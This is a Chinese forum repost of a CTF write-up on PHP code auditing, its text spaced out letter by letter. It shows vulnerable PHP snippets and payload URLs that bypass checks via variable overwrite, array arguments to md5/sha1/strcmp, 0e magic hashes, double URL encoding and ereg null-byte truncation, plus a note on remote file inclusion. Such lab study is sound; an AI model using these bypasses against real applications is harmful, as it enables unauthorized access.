搜索

[18002] 2021-05-08_CTF-PHP代码审计

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-05-08_CTF-PHP代码审计 C T F - P H P 代 码 审 计 原 创   h a c k i n g 黑 白 红   H a c k i n g 黑 白 红   2 0 2 1 - 0 5 - 0 8 1 、 e x t r a c t 变 量 覆 盖 < ? p h p $ f l a g = ' x x x ' ; e x t r a c t ( $ _ G E T ) ; i f ( i s s e t ( $ s h i y a n ) ) { $ c o n t e n t = t r i m ( f i l e _ g e t _ c o n t e n t s ( $ f l a g ) ) ; i f ( $ s h i y a n = = $ c o n t e n t ) { e c h o ' f l a g { x x x } ' ; } e l s e { e c h o ' O h . n o ' ; } } ? > 知 识 点 ： 变 量 覆 盖 f i l e _ g e t _ c o n t e n t s ( ) : 将 整 个 文 件 读 入 一 个 字 符 串 t r i m （ ） 去 除 字 符 串 两 侧 的 空 格 或 者 指 定 字 符 t r i m （ ' s t r i n g ' ， ' s t r i n g   y o u   w a n t   t o   d e l e t e ' ） $ _ G E T : 表 示 等 一 下 提 交 变 量 时 ， U R L   通 过   g e t   的 方 式 传 参 ， 传 输 的 数 据 以 数 组 的 形 式 被 封 装 在 $ _ G E T   中 。 e x t r a c t ( ) : 从 数 组 中 将 变 量 导 入 到 当 前 的 符 号 表 。 该 函 数 使 用 数 组 键 名 作 为 变 量 名 ， 使 用 数 组 键 值 作 为 变 量 值 。 针 对 数 组 中 的 每 个 元 素 ， 将 在 当 前 符 号 表 中 创 建 对 应 的 一 个 变 量 。   e x t r a c t ( a r r a y , e x t r a c t _ r u l e s , p r e f i x )   题 中 给 出 e x t r a c t ( $ _ G E T ) ， 相 当 于 ：   $ s h i y a n   =   $ _ G E T [ ‘ s h i y a n ’ ]   $ f l a g   =   $ _ G E T [ ‘ f l a g ’ ] 。   另 外 ， i s s e t ( ) 函 数 判 断 $ s h i y a n 变 量 是 否 设 置   利 用 e x t r a c t ( ) 函 数 的 变 量 覆 盖 漏 洞 原 理 构 造 p a y l o a d 漏 洞 产 生 原 因 ： e x t r a c t ( ) 函 数 当 只 有 一 个 参 数 时 ， 默 认 的 第 二 参 数 是 ： E X T R _ O V E R W R I T E ， 如 果 有 变 量 发 生 冲 突 ， 则 覆 盖 已 有 的 变 量 。 思 路 ： 代 码 审 计 需 要 满 足 两 个 条 件 ： 1 .   i f ( i s s e t ( $ s h i y a n ) )     = =   》   T R U E 2 .   i f ( s h i y a n = = s h i y a n = = c o n t e n t )     = =   》   T R U E   / / 利 用 e x t r a c t ( ) 函 数 变 量 覆 盖 漏 洞 + p h p 伪 协 议 / / 利 用 f i l e _ g e t _ c o n t e n t ( ) 函 数 返 回 字 符 串 + p h p 弱 类 型 （ n u l l   = =   " s t r i n g "     = = 》   t r u e 弱 类 型 h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 . p h p ? s h i y a n =   h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 . p h p ? s h i y a n = & f l a g = h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 . p h p ? s h i y a n = & c o n t e n t =   伪 协 议 h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 . p h p ? s h i y a n = 1 2 3 & f i l e = p h p : / / i n p u t p o s t   d a t a : 1 2 3
2 、 s t r c m p 比 较 字 符 串 , 数 组 返 回 0 h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 6 . p h p < ? p h p $ f l a g   =   " f l a g { x x x x x } " ; i f   ( i s s e t ( $ _ G E T [ ' a ' ] ) )   { i f   ( s t r c m p ( $ _ G E T [ ' a ' ] ,   $ f l a g )   = =   0 )   / / 如 果   s t r 1   小 于   s t r 2   返 回   <   0 ； 如 果   s t r 1 大 于   s t r 2 返 回   >   0 ； 如 果 两 者 相 等 ， 返 回   0 。 / / 比 较 两 个 字 符 串 （ 区 分 大 小 写 ） d i e ( ' F l a g :   ' . $ f l a g ) ; e l s e p r i n t   ' N o ' ; } ? > 知 识 点 ： d i e ( )   函 数 输 出 一 条 消 息 ， 并 退 出 当 前 脚 本 。 s t r c m p ( s t r 1 , s t r 2 ) 比 较 两 个 字 符 串 大 小 ， 若 是 非 字 符 串 （ 例 如 数 组 ） 比 较 ， 则 会 出 错 。 在 5 . 3 之 前 的 p h p 中 ， 显 示 了 报 错 的 警 告 信 息 后 ， 将 r e t u r n   0 。 0 = = 0 执 行 p a y l o a d : ? a [ ] = 1 3 、 u r l d e c o d e 二 次 编 码 绕 过 h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 0 . p h p < ? p h p i f ( e r e g i ( " h a c k e r D J " , $ _ G E T [ i d ] ) )   { e c h o ( " n o t   a l l o w e d ! " ) ; e x i t ( ) ; } $ _ G E T [ i d ]   =   u r l d e c o d e ( $ _ G E T [ i d ] ) ; i f ( $ _ G E T [ i d ]   = =   " h a c k e r D J " ) { e c h o   " A c c e s s   g r a n t e d ! " ; e c h o   " f l a g " ; } ? >   e r e g i ( ) 在 一 个 字 符 串 中 搜 索 指 定 的 模 式 的 字 符 串 ， 搜 索 不 区 分 大 小 的 正 则 匹 配 。 u r l d e c o d e ( ) 解 码 以 编 码 的 U R L 字 符 串 ， 但 是 $ _ G E T [ ] 会 将 参 数 解 码 一 次 。 若 本 题 将 “ h a c k e r D J ” 进 行 两 次 U R L 编 码 ， 在 e r e g i ( ) 中 比 较 ” h a c k e r D J ” 与 $ _ G E T [ i d ] 是 否 相 同 ， $ _ G E T 会 解 码 一 次 ， 从 二 次 U R L 编 码 变 成 一 次 U R L 编 码 ； u r l d e c o d e ( ) 会 将 $ _ G E T [ i d ] 从 二 次 U R L 编 码 变 成 一 次 U R L 编 码 ， 赋 值 给 $ _ G E T [ i d ] ， 当 $ _ G E T [ i d ] 与 “ h a c k e r D J ” 比 较 时 ， $ _ G E T [ i d ] 再 从 一 次 U R L 编 码 解 码 ， 最 后 比 较 相 等 得 到 f l a g 。 将 “ h a c k e r D J ” 进 行 两 次 U R L 编 码 。 P a y l o a d ( h a c k e r D J   可 以 全 部 字 母 或 者 个 别 字 母 做 二 次 u r l E n c o d e ) h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 0 . p h p ? i d = % 2 5 % 3 6 % 3 8 % 2 5 % 3 6 % 3 1 % 2 5 % 3 6 % 3 3 k e r D J 或 者 h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 0 . p h p ? i d = % 2 5 % 3 6 % 3 8 % 2 5 % 3 6 % 3 1 % 2 5 % 3 6 % 3 3 % 2 5 % 3 6 % 6 2 % 2 5 % 3 6 % 3 5 % 2 5 % 3 7 % 3 2 % 2 5 % 3 4 % 3 4 % 2 5 % 3 4 % 6 1 4 、 m d 5 ( ) 函 数 ， 0 e 开 头 的 m d 5 值 或 者 数 组 参 数 为 n u l l h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 8 . p h p < ? p h p e r r o r _ r e p o r t i n g ( 0 ) ; $ f l a g   =   ' f l a g { t e s t } ' ;
i f   ( i s s e t ( $ _ G E T [ ' u s e r n a m e ' ] )   a n d   i s s e t ( $ _ G E T [ ' p a s s w o r d ' ] ) )   { i f   ( $ _ G E T [ ' u s e r n a m e ' ]   = =   $ _ G E T [ ' p a s s w o r d ' ] ) p r i n t   ' Y o u r   p a s s w o r d   c a n   n o t   b e   y o u r   u s e r n a m e . ' ; e l s e   i f   ( m d 5 ( $ _ G E T [ ' u s e r n a m e ' ] )   = = =   m d 5 ( $ _ G E T [ ' p a s s w o r d ' ] ) ) d i e ( ' F l a g :   ' . $ f l a g ) ; e l s e p r i n t   ' I n v a l i d   p a s s w o r d ' ; } ? > m d 5 ( ) 计 算 字 符 串 的 M D 5 散 列 值 。 m d 5 ( ) 函 数 不 能 处 理 数 组 ， 使 用 数 组 绕 过 ， m d 5 ( a r r a y ) 会 返 回 n u l l 。 P a y l o a d : h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 8 . p h p ? u s e r n a m e [ ] = 1 & p a s s w o r d [ ] = 2 5 、 数 组 返 回 N U L L 绕 过 h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 9 . p h p < ? p h p $ f l a g   =   " f l a g " ; i f   ( i s s e t ( $ _ G E T [ ' p a s s w o r d ' ] ) )   { i f   ( e r e g   ( " ^ [ a - z A - Z 0 - 9 ] + $ " ,   $ _ G E T [ ' p a s s w o r d ' ] )   = = =   F A L S E ) e c h o   ' Y o u   p a s s w o r d   m u s t   b e   a l p h a n u m e r i c ' ; e l s e   i f   ( s t r p o s   ( $ _ G E T [ ' p a s s w o r d ' ] ,   ' - - ' )   ! = =   F A L S E ) d i e ( ' F l a g :   '   .   $ f l a g ) ; e l s e e c h o   ' I n v a l i d   p a s s w o r d ' ; } ? > s t r p o s ( s t r i n g , f i n d [ ,   s t a r t ] ) 查 找 字 符 串 在 另 一 字 符 串 中 第 一 次 出 现 的 位 置 。 e r e g ( ) 正 则 匹 配 ， 需 使 p a s s w o r d 中 只 含 有 英 文 字 母 和 数 字 ， 又 因 为 s t r p o s ( ) 需 要 匹 配 “ – ” 才 能 得 到 f l a g ， 可 以 使 用 数 组 绕 过 e r e g ( ) 和 s t r p o s ( ) 。 e r e g ( ) 只 能 处 理 字 符 ， 而 p a s s w o r d 是 数 组 ， 所 以 返 回 的 是 n u l l ， 三 个 等 号 的 时 候 不 会 进 行 类 型 转 换 。 所 以 n u l l ! = = f a l s e 。 s t r p o s ( ) 的 参 数 同 样 不 能 够 是 数 组 ， 所 以 返 回 的 依 旧 是 n u l l ， n u l l ! = = f a l s e 也 是 正 确 。 p a y l o a d : ? p a s s w o r d [ ] = 1 h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 9 . p h p ? p a s s w o r d [ ] = 1 思 路 二 ： e r e g ( ) 可 以 进 行 % 0 0 截 断 ， 绕 过 正 则 匹 配 。 p a y l o a d : ? p a s s w o r d = 1 % 0 0 - - h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 9 . p h p ? p a s s w o r d = j j j k % 0 0 - - 6 、 弱 类 型 整 数 大 小 比 较 绕 过 h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 2 2 . p h p $ t e m p   =   $ _ G E T [ ' p a s s w o r d ' ] ; i s _ n u m e r i c ( $ t e m p ) ? d i e ( " n o   n u m e r i c " ) : N U L L ; i f ( $ t e m p > 1 3 3 6 ) { e c h o   $ f l a g ;   i s _ n u m e r i c ( v a r ) 检 测 变 量 是 否 为 数 字 或 数 字 字 符 串 ， 是 则 返 回 t r u e ， 否 则 返 回 f a l s e 。 i s _ n u m e r i c ( ) 对 于 空 字 符 % 0 0 ， 无 论 % 0 0 放 在 前 面 还 是 后 面 都 可 以 判 断 为 非 数 值 ， 而 空 格 % 2 0 只 能 放 在 数 值 后 面 ， 实 质 上 都 是 弱 类 型 转 换 。 p a y l o a d 1 : ? p a s s w o r d = 1 3 3 7 % 0 0 p a y l o a d 2 : ? p a s s w o r d = 1 3 3 7 % 2 0 p a y l o a d 3 : ? p a s s w o r d = 1 3 3 7 a 7 、 s h a ( ) 函 数 比 较 绕 过 , 数 组 返 回 n u l l < ? p h p $ f l a g   =   " f l a g " ;
i f   ( i s s e t ( $ _ G E T [ ' n a m e ' ] )   a n d   i s s e t ( $ _ G E T [ ' p a s s w o r d ' ] ) ) { v a r _ d u m p ( $ _ G E T [ ' n a m e ' ] ) ; e c h o   " " ; v a r _ d u m p ( $ _ G E T [ ' p a s s w o r d ' ] ) ; v a r _ d u m p ( s h a 1 ( $ _ G E T [ ' n a m e ' ] ) ) ; v a r _ d u m p ( s h a 1 ( $ _ G E T [ ' p a s s w o r d ' ] ) ) ; i f   ( $ _ G E T [ ' n a m e ' ]   = =   $ _ G E T [ ' p a s s w o r d ' ] ) e c h o   ' Y o u r   p a s s w o r d   c a n   n o t   b e y o u r   n a m e ! ' ; e l s e   i f   ( s h a 1 ( $ _ G E T [ ' n a m e ' ] )   = = =   s h a 1 ( $ _ G E T [ ' p a s s w o r d ' ] ) ) d i e ( ' F l a g :   ' . $ f l a g ) ; e l s e e c h o   ' I n v a l i d   p a s s w o r d . } e l s e e c h o   ' L o g i n   f i r s t ! ; ? > 同 m d 5 ( ) 一 样 ， s h a 1 ( ) 函 数 也 无 法 处 理 数 组 ， 因 此 可 以 构 造 数 组 绕 过 。 h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 7 . p h p ? p a s s w o r d [ ] = 1 & n a m e [ ] = 2 a r r a y ( 1 )   {   [ 0 ] = >   s t r i n g ( 1 )   " 2 " }   a r r a y ( 1 )   {   [ 0 ] = >   s t r i n g ( 1 )   " 1 "   }   N U L L   N U L L   F l a g :   f l a g { b u g k u - - d a i m a s j - a 2 } 8 、 m d 5 加 密 相 等 绕 过 , 0 e 开 头 的 m d 5 值 ， = = 比 较 两 边 相 等 h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 3 . p h p < ? p h p $ m d 5 1   =   m d 5 ( ' Q N K C D Z O ' ) ; $ a   =   @ $ _ G E T [ ' a ' ] ; $ m d 5 2   =   @ m d 5 ( $ a ) ; i f ( i s s e t ( $ a ) ) { i f   ( $ a   ! =   ' Q N K C D Z O '   & &   $ m d 5 1   = =   $ m d 5 2 )   { e c h o   " f l a g { * } " ; }   e l s e   { e c h o   " f a l s e ! ! ! " ; } } e l s e { e c h o   " p l e a s e   i n p u t   a " ; } ? > m d 5 生 成 的 以 “ 0 e ” 开 头 的 哈 希 值 都 解 释 为 0 ， 所 以 P H P 在 判 断 时 会 认 为 相 同 P H P 在 处 理 哈 希 字 符 串 时 ， 会 利 用 ” ! = ” 或 ” = = ” 来 对 哈 希 值 进 行 比 较 ， 它 把 每 一 个 以 “ 0 E ” 开 头 的 哈 希 值 都 解 释 为 0 ， 如 果 两 个 不 同 的 值 经 过 哈 希 以 后 ， 都 是 0 E 开 头 ， 那 么 P H P 将 会 认 为 他 们 相 同 。 这 里 提 供 一 个 s 8 7 8 9 2 6 1 9 9 a h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 3 . p h p ? a = s 1 5 5 9 6 4 6 7 1 a 举 例 ： m d 5 后 以 0 e 开 头 的 字 符 串 2 4 0 6 1 0 7 0 8 0 e 4 6 2 0 9 7 4 3 1 9 0 6 5 0 9 0 1 9 5 6 2 9 8 8 7 3 6 8 5 4 Q N K C D Z O 0 e 8 3 0 4 0 0 4 5 1 9 9 3 4 9 4 0 5 8 0 2 4 2 1 9 9 0 3 3 9 1 s 8 7 8 9 2 6 1 9 9 a 0 e 5 4 5 9 9 3 2 7 4 5 1 7 7 0 9 0 3 4 3 2 8 8 5 5 8 4 1 0 2 0   s 1 5 5 9 6 4 6 7 1 a 0 e 3 4 2 7 6 8 4 1 6 8 2 2 4 5 1 5 2 4 9 7 4 1 1 7 2 5 4 4 6 9 s 2 1 4 5 8 7 3 8 7 a 0 e 8 4 8 2 4 0 4 4 8 8 3 0 5 3 7 9 2 4 4 6 5 8 6 5 6 1 1 9 0 4 s 2 1 4 5 8 7 3 8 7 a
0 e 8 4 8 2 4 0 4 4 8 8 3 0 5 3 7 9 2 4 4 6 5 8 6 5 6 1 1 9 0 4 s 8 7 8 9 2 6 1 9 9 a 0 e 5 4 5 9 9 3 2 7 4 5 1 7 7 0 9 0 3 4 3 2 8 8 5 5 8 4 1 0 2 0 9 、 十 六 进 制 与 数 字 比 较 h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 2 0 . p h p < ? p h p e r r o r _ r e p o r t i n g ( 0 ) ; f u n c t i o n   n o o t h e r _ s a y s _ c o r r e c t ( $ t e m p ) { $ f l a g   =   ' f l a g { t e s t } ' ; $ o n e   =   o r d ( ' 1 ' ) ;   / / o r d   —   返 回 字 符 的   A S C I I   码 值     $ n i n e   =   o r d ( ' 9 ' ) ;   / / o r d   —   返 回 字 符 的   A S C I I   码 值 $ n u m b e r   =   ' 3 7 3 5 9 2 9 0 5 4 ' ; / /   C h e c k   a l l   t h e   i n p u t   c h a r a c t e r s ! f o r   ( $ i   =   0 ;   $ i   <   s t r l e n ( $ n u m b e r ) ;   $ i + + ) { / /   D i s a l l o w   a l l   t h e   d i g i t s ! $ d i g i t   =   o r d ( $ t e m p { $ i } ) ; i f   (   ( $ d i g i t   > =   $ o n e )   & &   ( $ d i g i t   < =   $ n i n e )   ) { / /   A h a ,   d i g i t   n o t   a l l o w e d ! r e t u r n   " f l a s e " ; } } i f ( $ n u m b e r   = =   $ t e m p ) r e t u r n   $ f l a g ; } $ t e m p   =   $ _ G E T [ ' p a s s w o r d ' ] ; e c h o   n o o t h e r _ s a y s _ c o r r e c t ( $ t e m p ) ; ? > o r d ( ) 返 回 字 符 串 中 首 个 字 符 的 A S C I I 值 。 题 目 中 会 要 求 输 入 的 p a s s w o r d 中 不 能 有 0 ~ 9 数 字 ， 并 且 还 需 要 判 断 $ n u m b e r = = $ _ G E T [ p a s s w o r d ] 。 所 以 将 $ n u m b e r = 3 7 3 5 9 2 9 0 5 4 转 换 为 1 6 进 制 “ d e a d c 0 d e ” ， 再 在 前 面 加 上 0 x 表 示 1 6 进 制 。 h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 2 0 . p h p ? p a s s w o r d = 0 x d e a d c 0 d e 1 0 、 变 量 覆 盖 （ 地 址 访 问 不 了 ） h t t p : / / 1 2 0 . 2 4 . 8 6 . 1 4 5 : 9 0 0 9 / b i a n l i a n g / 1 1 、 e r e g 正 则 % 0 0 截 断 h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 5 . p h p < ? p h p $ f l a g   =   " x x x " ; i f   ( i s s e t   ( $ _ G E T [ ' p a s s w o r d ' ] ) ) { i f   ( e r e g   ( " ^ [ a - z A - Z 0 - 9 ] + $ " ,   $ _ G E T [ ' p a s s w o r d ' ] )   = = =   F A L S E ) { e c h o   ' Y o u   p a s s w o r d   m u s t   b e a l p h a n u m e r i c ' ; } e l s e   i f   ( s t r l e n ( $ _ G E T [ ' p a s s w o r d ' ] )   <   8   & & $ _ G E T [ ' p a s s w o r d ' ]   >   9 9 9 9 9 9 9 ) { i f   ( s t r p o s   ( $ _ G E T [ ' p a s s w o r d ' ] ,   ' - ' ) ! = =   F A L S E )   / / s t r p o s   —   查 找 字 符 串 首 次 出 现 的 位 置 {
d i e ( ' F l a g :   '   .   $ f l a g ) ; } e l s e { e c h o ( ' -   h a v e   n o t   b e e n   f o u n d ' ) ; } } e l s e { e c h o   ' I n v a l i d   p a s s w o r d ' ; } } ? > 题 目 通 过 e r e g ( ) 函 数 判 断 p a s s w o r d 中 是 否 只 含 有 字 母 或 数 字 ， 进 而 限 制 p a s s w o r d 长 度 小 于 8 ， 并 且 值 小 于 9 9 9 9 9 9 9 ； 在 此 前 提 下 用 s t r p o s ( ) 函 数 搜 索 p a s s w o r d 中 是 否 含 有 “ - ” ， 若 是 则 输 出 f l a g 。 解 法 一 ， 利 用 数 组 绕 过 s t r p o s ( ) 函 数 。 s t r p o s ( ) 数 组   n u l l ! = f a l s e ,   s t r l e n （ ） 数 组 长 度 为 0 p a y l o a d : ? p a s s w o r d [ ] = 9 9 9 9 9 9 9 9 9 9 解 法 二 ， 利 用 e r e g ( ) % 0 0 截 断 漏 洞 ， 在 用 科 学 记 数 法 来 构 造 1 e 9 满 足 s t r l e n ( $ _ G E T [ ‘ p a s s w o r d ’ ] )   <   8   & &   $ _ G E T [ ‘ p a s s w o r d ’ ] > 9 9 9 9 9 9 9 这 个 条 件 ， 再 加 上 “ - ” 来 满 足 s t r p o s ( ) 的 条 件 。 p a y l o a d : ? p a s s w o r d = 1 e 9 % 0 0 * - * 1 2 、 s t r p o s 数 组 绕 过 ， 存 在 数 组 绕 过 漏 洞 h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 1 5 . p h p < ? p h p $ f l a g   =   " f l a g " ; i f   ( i s s e t   ( $ _ G E T [ ' c t f ' ] ) )   { i f   ( @ e r e g   ( " ^ [ 1 - 9 ] + $ " ,   $ _ G E T [ ' c t f ' ] )   = = =   F A L S E ) e c h o   ' 必 须 输 入 数 字 才 行 ' ; e l s e   i f   ( s t r p o s   ( $ _ G E T [ ' c t f ' ] ,   ' # b i u b i u b i u ' )   ! = =   F A L S E ) d i e ( ' F l a g :   ' . $ f l a g ) ; e l s e e c h o   ' 骚 年 ， 继 续 努 力 吧 啊 ~ ' ; } ? > 构 造 数 组 绕 过 ， 并 且 值 含 有 数 字 。 p a y l o a d : ? c t f [ ] = 1   ? c t f = 1 2 3 3 3 % 0 0 # b i u b i u b i u 此 种 方 式 不 可 ， 因 为 e r e g （ ） 存 在 % 0 0 截 断 ， 而 s t r p o s ( ) 则 不 存 在 1 3 、 数 字 验 证 正 则 绕 过 h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 2 1 . p h p < ? p h p e r r o r _ r e p o r t i n g ( 0 ) ; $ f l a g   =   ' f l a g { t e s t } ' ; i f   ( " P O S T "   = =   $ _ S E R V E R [ ' R E Q U E S T _ M E T H O D ' ] ) { $ p a s s w o r d   =   $ _ P O S T [ ' p a s s w o r d ' ] ; i f   ( 0   > =   p r e g _ m a t c h ( ' / ^ [ [ : g r a p h : ] ] { 1 2 , } $ / ' ,   $ p a s s w o r d ) )   / / p r e g _ m a t c h   —   执 行 一 个 正 则 表 达 式 匹 配 { e c h o   ' f l a g ' ; e x i t ; }
w h i l e   ( T R U E ) { $ r e g   =   ' / ( [ [ : p u n c t : ] ] + | [ [ : d i g i t : ] ] + | [ [ : u p p e r : ] ] + | [ [ : l o w e r : ] ] + ) / ' ; i f   ( 6   >   p r e g _ m a t c h _ a l l ( $ r e g ,   $ p a s s w o r d ,   $ a r r ) ) b r e a k ; $ c   =   0 ; $ p s   =   a r r a y ( ' p u n c t ' ,   ' d i g i t ' ,   ' u p p e r ' ,   ' l o w e r ' ) ;   / / [ [ : p u n c t : ] ]   任 何 标 点 符 号 [ [ : d i g i t : ] ]   任 何 数 字 [ [ : u p p e r : ] ]   任 何 大 写 字 母 [ [ : l o w e r : ] ]   任 何 小 写 字 母 f o r e a c h   ( $ p s   a s   $ p t ) { i f   ( p r e g _ m a t c h ( " / [ [ : $ p t : ] ] + / " ,   $ p a s s w o r d ) ) $ c   + =   1 ; } i f   ( $ c   <   3 )   b r e a k ; / / > = 3 ， 必 须 包 含 四 种 类 型 三 种 与 三 种 以 上 i f   ( " 4 2 "   = =   $ p a s s w o r d )   e c h o   $ f l a g ; e l s e   e c h o   ' W r o n g   p a s s w o r d ' ; e x i t ; } } ? > 直 接 P O S T 一 个 p a s s w o r d 就 可 以 ， 并 且 小 于 1 2 个 字 符 。 p a y l o a d : h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 9 0 0 9 / 2 1 . p h p P O S T : p a s s w o r d = 1 1 4 、 简 单 的 w a f h t t p : / / 1 2 0 . 2 4 . 8 6 . 1 4 5 : 9 0 1 0 / 服 务 器 坏 了 ， 网 上 找 的 服 务 器 坏 了 ， 网 上 找 的 w p 要 求 传 入 a b c d e ， a 中 不 能 包 含 p h p ， 因 此 a 不 能 用 p h p : / / i n p u t 来 为 其 赋 值 了 ， 但 是 可 以 通 过 远 程 文 件 包 含 来 为 其 赋 值 ， 即 在 自 己 的 服 务 器 上 写 一 个 t x t 文 件 ， e 可 以 用 p h p : / / i n p u t 来 赋 值 ， 然 后 就 会 看 到 返 回 h e l l o   a d m i n   但 是                                                           c 和 d 不 知 道 有 什 么 作 用 ， 看 到 c 中 不 能 包 含 f l a g ， d 不 能 包 含 b a s e 6 4 ， 于 是 猜 测 题 目 可 能 存 在 f l a g . p h p 之 类 的 ， 需 要 通 过 d 去 读 取 ？ 尝 试 访 问 f l a g . p h p 看 到 f l a g   o n   m y   h e a d ， 访 问 f l a g ， 发 现 会 下 载 一 个 文 件 ， 里 面 说 P l e a s e   c a l l   a d m i n   t o g e t f l a g ， 令 c = f l a g . p h p 会 触 发 他 的 w a f ， 但 是 令 c = F l a g . p h p 可 以 绕 过 ， 但 是 也 没 有 返 回 其 他 的 东 西 ， 摇 头 . g i f 不 知 道 怎 么 操 作 了 ， 希 望 有 大 佬 会 的 话 带 带 我 O r z  
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理